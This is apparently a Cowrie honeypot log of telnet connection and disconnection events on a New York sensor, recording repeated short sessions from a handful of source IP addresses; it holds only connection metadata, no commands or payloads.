{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57900,"dst_ip":"10.17.0.5","dst_port":23,"session":"58fce0142c8d","protocol":"telnet","message":"New connection: 104.167.8.156:57900 (10.17.0.5:23) [session: 58fce0142c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:42.185974Z"}
{"eventid":"cowrie.session.closed","duration":30.33584976196289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:42.215331Z","src_ip":"104.167.8.156","session":"9a1fead49054","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58168,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffe9675b4802","protocol":"telnet","message":"New connection: 104.167.8.156:58168 (10.17.0.5:23) [session: ffe9675b4802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:42.258083Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41788,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5967d842119","protocol":"telnet","message":"New connection: 108.61.251.217:41788 (10.17.0.5:23) [session: e5967d842119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:42.288884Z"}
{"eventid":"cowrie.session.closed","duration":30.761558294296265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:42.356710Z","src_ip":"104.167.8.156","session":"579d53abb29b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.219611167907715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:42.402674Z","src_ip":"104.167.8.156","session":"90bbdddb87a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55590,"dst_ip":"10.17.0.5","dst_port":23,"session":"56e2eb9928c7","protocol":"telnet","message":"New connection: 104.167.8.156:55590 (10.17.0.5:23) [session: 56e2eb9928c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:42.476414Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59156,"dst_ip":"10.17.0.5","dst_port":23,"session":"371254809b17","protocol":"telnet","message":"New connection: 104.167.8.156:59156 (10.17.0.5:23) [session: 371254809b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:42.563454Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49742,"dst_ip":"10.17.0.5","dst_port":23,"session":"9241e72acab7","protocol":"telnet","message":"New connection: 104.167.8.156:49742 (10.17.0.5:23) [session: 9241e72acab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:42.664058Z"}
{"eventid":"cowrie.session.closed","duration":31.725688934326172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:42.692892Z","src_ip":"108.61.251.217","session":"83d778d6de3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50602126121521,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:43.013030Z","src_ip":"104.167.8.156","session":"8eaf91bddc23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83819031715393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:43.051008Z","src_ip":"104.167.8.156","session":"43b84fbe90f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50966,"dst_ip":"10.17.0.5","dst_port":23,"session":"a571af5d37be","protocol":"telnet","message":"New connection: 104.167.8.156:50966 (10.17.0.5:23) [session: a571af5d37be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:43.096627Z"}
{"eventid":"cowrie.session.closed","duration":30.922576904296875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:43.101897Z","src_ip":"104.167.8.156","session":"08597f3dfd8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33556,"dst_ip":"10.17.0.5","dst_port":23,"session":"2927ab581b58","protocol":"telnet","message":"New connection: 104.167.8.156:33556 (10.17.0.5:23) [session: 2927ab581b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:43.307747Z"}
{"eventid":"cowrie.session.closed","duration":30.735503673553467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:43.378864Z","src_ip":"108.61.251.217","session":"688732950f53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21812891960144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:43.443691Z","src_ip":"108.61.251.217","session":"add4d16b527c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34316,"dst_ip":"10.17.0.5","dst_port":23,"session":"38ea7b1ec708","protocol":"telnet","message":"New connection: 104.167.8.156:34316 (10.17.0.5:23) [session: 38ea7b1ec708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:43.532654Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53020,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a2f29429fdf","protocol":"telnet","message":"New connection: 104.167.8.156:53020 (10.17.0.5:23) [session: 5a2f29429fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:43.712410Z"}
{"eventid":"cowrie.session.closed","duration":31.24035668373108,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:43.823398Z","src_ip":"104.167.8.156","session":"86a8c57e53fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.487122535705566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:43.919459Z","src_ip":"104.167.8.156","session":"8c3694ec3875","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54044,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c6367894bc3","protocol":"telnet","message":"New connection: 104.167.8.156:54044 (10.17.0.5:23) [session: 0c6367894bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:44.060801Z"}
{"eventid":"cowrie.session.closed","duration":30.954548358917236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:44.236737Z","src_ip":"104.167.8.156","session":"12035edfa4a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37174,"dst_ip":"10.17.0.5","dst_port":23,"session":"e68994f85113","protocol":"telnet","message":"New connection: 104.167.8.156:37174 (10.17.0.5:23) [session: e68994f85113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:44.350217Z"}
{"eventid":"cowrie.session.closed","duration":31.213372945785522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:44.366364Z","src_ip":"104.167.8.156","session":"c02e446d9d4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.466172218322754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:44.373034Z","src_ip":"108.61.251.217","session":"0cc706c421d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37465,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4fbb0ed90c2","protocol":"telnet","message":"New connection: 104.167.8.156:37465 (10.17.0.5:23) [session: a4fbb0ed90c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:44.428328Z"}
{"eventid":"cowrie.session.closed","duration":45.9105966091156,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:44.486175Z","src_ip":"188.208.141.113","session":"4c8addc480d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38514,"dst_ip":"10.17.0.5","dst_port":23,"session":"efa40ec57a9d","protocol":"telnet","message":"New connection: 104.167.8.156:38514 (10.17.0.5:23) [session: efa40ec57a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:44.786420Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38966,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7eaa0b1c886","protocol":"telnet","message":"New connection: 104.167.8.156:38966 (10.17.0.5:23) [session: e7eaa0b1c886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:44.930301Z"}
{"eventid":"cowrie.session.closed","duration":30.810686588287354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:45.125076Z","src_ip":"108.61.251.217","session":"7a288929e7ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.908302783966064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:45.129427Z","src_ip":"108.61.251.217","session":"a1f59da997cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":41848,"dst_ip":"10.17.0.5","dst_port":23,"session":"6483074cea76","protocol":"telnet","message":"New connection: 108.61.251.217:41848 (10.17.0.5:23) [session: 6483074cea76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:45.205358Z"}
{"eventid":"cowrie.session.closed","duration":31.235756158828735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:45.256596Z","src_ip":"98.70.41.28","session":"dcc5a78ad567","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40184,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1e16c4d84d4","protocol":"telnet","message":"New connection: 104.167.8.156:40184 (10.17.0.5:23) [session: b1e16c4d84d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:45.282983Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49418,"dst_ip":"10.17.0.5","dst_port":23,"session":"d16f47668584","protocol":"telnet","message":"New connection: 188.208.141.113:49418 (10.17.0.5:23) [session: d16f47668584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:45.336030Z"}
{"eventid":"cowrie.session.closed","duration":31.160927772521973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:45.501287Z","src_ip":"108.61.251.217","session":"33e125f64d89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41116,"dst_ip":"10.17.0.5","dst_port":23,"session":"939e2e877a17","protocol":"telnet","message":"New connection: 104.167.8.156:41116 (10.17.0.5:23) [session: 939e2e877a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:45.553064Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38264,"dst_ip":"10.17.0.5","dst_port":23,"session":"00aa3158c1fd","protocol":"telnet","message":"New connection: 104.167.8.156:38264 (10.17.0.5:23) [session: 00aa3158c1fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:45.729901Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38634,"dst_ip":"10.17.0.5","dst_port":23,"session":"59bc3e0d0ddf","protocol":"telnet","message":"New connection: 104.167.8.156:38634 (10.17.0.5:23) [session: 59bc3e0d0ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:45.817893Z"}
{"eventid":"cowrie.session.closed","duration":30.795896768569946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.043808Z","src_ip":"104.167.8.156","session":"f76a746fe957","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.098711252212524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.054457Z","src_ip":"104.167.8.156","session":"5ddeb49c5211","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57543659210205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.112718Z","src_ip":"104.167.8.156","session":"d146f3f3895d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48044,"dst_ip":"10.17.0.5","dst_port":23,"session":"b42f1bf48223","protocol":"telnet","message":"New connection: 108.61.251.217:48044 (10.17.0.5:23) [session: b42f1bf48223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.210464Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43198,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cc931b786ff","protocol":"telnet","message":"New connection: 104.167.8.156:43198 (10.17.0.5:23) [session: 7cc931b786ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.219466Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48054,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cd166d939e5","protocol":"telnet","message":"New connection: 108.61.251.217:48054 (10.17.0.5:23) [session: 9cd166d939e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.252622Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48058,"dst_ip":"10.17.0.5","dst_port":23,"session":"94a5384da171","protocol":"telnet","message":"New connection: 108.61.251.217:48058 (10.17.0.5:23) [session: 94a5384da171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.303728Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43883,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb557773de17","protocol":"telnet","message":"New connection: 104.167.8.156:43883 (10.17.0.5:23) [session: cb557773de17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.387721Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44404,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7dae7e62af2","protocol":"telnet","message":"New connection: 104.167.8.156:44404 (10.17.0.5:23) [session: f7dae7e62af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.500331Z"}
{"eventid":"cowrie.session.closed","duration":30.624573945999146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.569605Z","src_ip":"104.167.8.156","session":"daaae2c6f3be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.456944465637207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.712260Z","src_ip":"98.70.41.28","session":"4bcaebf0f6bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45084,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a47eb9207a5","protocol":"telnet","message":"New connection: 104.167.8.156:45084 (10.17.0.5:23) [session: 5a47eb9207a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.755207Z"}
{"eventid":"cowrie.session.closed","duration":31.524548768997192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.843558Z","src_ip":"104.167.8.156","session":"3cab77b3107e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45384,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c5e8cf9ccfc","protocol":"telnet","message":"New connection: 104.167.8.156:45384 (10.17.0.5:23) [session: 0c5e8cf9ccfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.852963Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42310,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0efa8403a39","protocol":"telnet","message":"New connection: 104.167.8.156:42310 (10.17.0.5:23) [session: d0efa8403a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.965101Z"}
{"eventid":"cowrie.session.closed","duration":31.27380108833313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:46.983067Z","src_ip":"104.167.8.156","session":"d9a93eab0fce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23049020767212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:47.071694Z","src_ip":"104.167.8.156","session":"c5c419d882b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.190433025360107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:47.131237Z","src_ip":"104.167.8.156","session":"b4d5a2dcc617","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46708,"dst_ip":"10.17.0.5","dst_port":23,"session":"83d93800259e","protocol":"telnet","message":"New connection: 104.167.8.156:46708 (10.17.0.5:23) [session: 83d93800259e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:47.219073Z"}
{"eventid":"cowrie.session.closed","duration":31.078195810317993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:47.273900Z","src_ip":"108.61.251.217","session":"9b710f91621e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08270025253296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:47.339798Z","src_ip":"108.61.251.217","session":"d6c4b66aead9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47162,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c1924faf8fc","protocol":"telnet","message":"New connection: 104.167.8.156:47162 (10.17.0.5:23) [session: 6c1924faf8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:47.359498Z"}
{"eventid":"cowrie.session.closed","duration":34.51495933532715,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:47.437200Z","src_ip":"188.208.141.113","session":"2db1528fc40e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47490,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ccab14d783f","protocol":"telnet","message":"New connection: 104.167.8.156:47490 (10.17.0.5:23) [session: 8ccab14d783f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:47.447721Z"}
{"eventid":"cowrie.session.closed","duration":30.7355318069458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:47.453160Z","src_ip":"108.61.251.217","session":"842a520d4760","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48074,"dst_ip":"10.17.0.5","dst_port":23,"session":"e63ee34e01a0","protocol":"telnet","message":"New connection: 108.61.251.217:48074 (10.17.0.5:23) [session: e63ee34e01a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:47.492915Z"}
{"eventid":"cowrie.session.closed","duration":31.49206256866455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:47.497777Z","src_ip":"104.167.8.156","session":"275e7fbfdce1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47822,"dst_ip":"10.17.0.5","dst_port":23,"session":"6727e22d7aff","protocol":"telnet","message":"New connection: 104.167.8.156:47822 (10.17.0.5:23) [session: 6727e22d7aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:47.528503Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48240,"dst_ip":"10.17.0.5","dst_port":23,"session":"41bc11c4f2b0","protocol":"telnet","message":"New connection: 104.167.8.156:48240 (10.17.0.5:23) [session: 41bc11c4f2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:47.662147Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":44914,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a9335c52026","protocol":"telnet","message":"New connection: 64.227.9.242:44914 (159.203.135.109:23) [session: 3a9335c52026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:47.753104Z"}
{"eventid":"cowrie.session.closed","duration":30.422172784805298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:48.023381Z","src_ip":"104.167.8.156","session":"aa92893f521a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49806,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ef340d2ad03","protocol":"telnet","message":"New connection: 104.167.8.156:49806 (10.17.0.5:23) [session: 2ef340d2ad03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:48.131010Z"}
{"eventid":"cowrie.session.closed","duration":30.67075204849243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:48.145416Z","src_ip":"108.61.251.217","session":"8f835d1611e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":39834,"dst_ip":"159.203.135.109","dst_port":23,"session":"56cee93ce734","protocol":"telnet","message":"New connection: 98.70.41.28:39834 (159.203.135.109:23) [session: 56cee93ce734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:48.179481Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50972,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0a50735a8d5","protocol":"telnet","message":"New connection: 104.167.8.156:50972 (10.17.0.5:23) [session: d0a50735a8d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:48.406377Z"}
{"eventid":"cowrie.session.closed","duration":31.426677703857422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:48.411757Z","src_ip":"104.167.8.156","session":"52a22fb2acad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51230,"dst_ip":"10.17.0.5","dst_port":23,"session":"8148441752f5","protocol":"telnet","message":"New connection: 104.167.8.156:51230 (10.17.0.5:23) [session: 8148441752f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:48.472419Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47806,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff0241a6fe93","protocol":"telnet","message":"New connection: 104.167.8.156:47806 (10.17.0.5:23) [session: ff0241a6fe93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:48.526764Z"}
{"eventid":"cowrie.session.closed","duration":31.468623399734497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:48.532413Z","src_ip":"104.167.8.156","session":"548988581648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28007936477661,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:48.581425Z","src_ip":"98.70.41.28","session":"da948b873cf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51886,"dst_ip":"10.17.0.5","dst_port":23,"session":"6692db23ddd9","protocol":"telnet","message":"New connection: 104.167.8.156:51886 (10.17.0.5:23) [session: 6692db23ddd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:48.620481Z"}
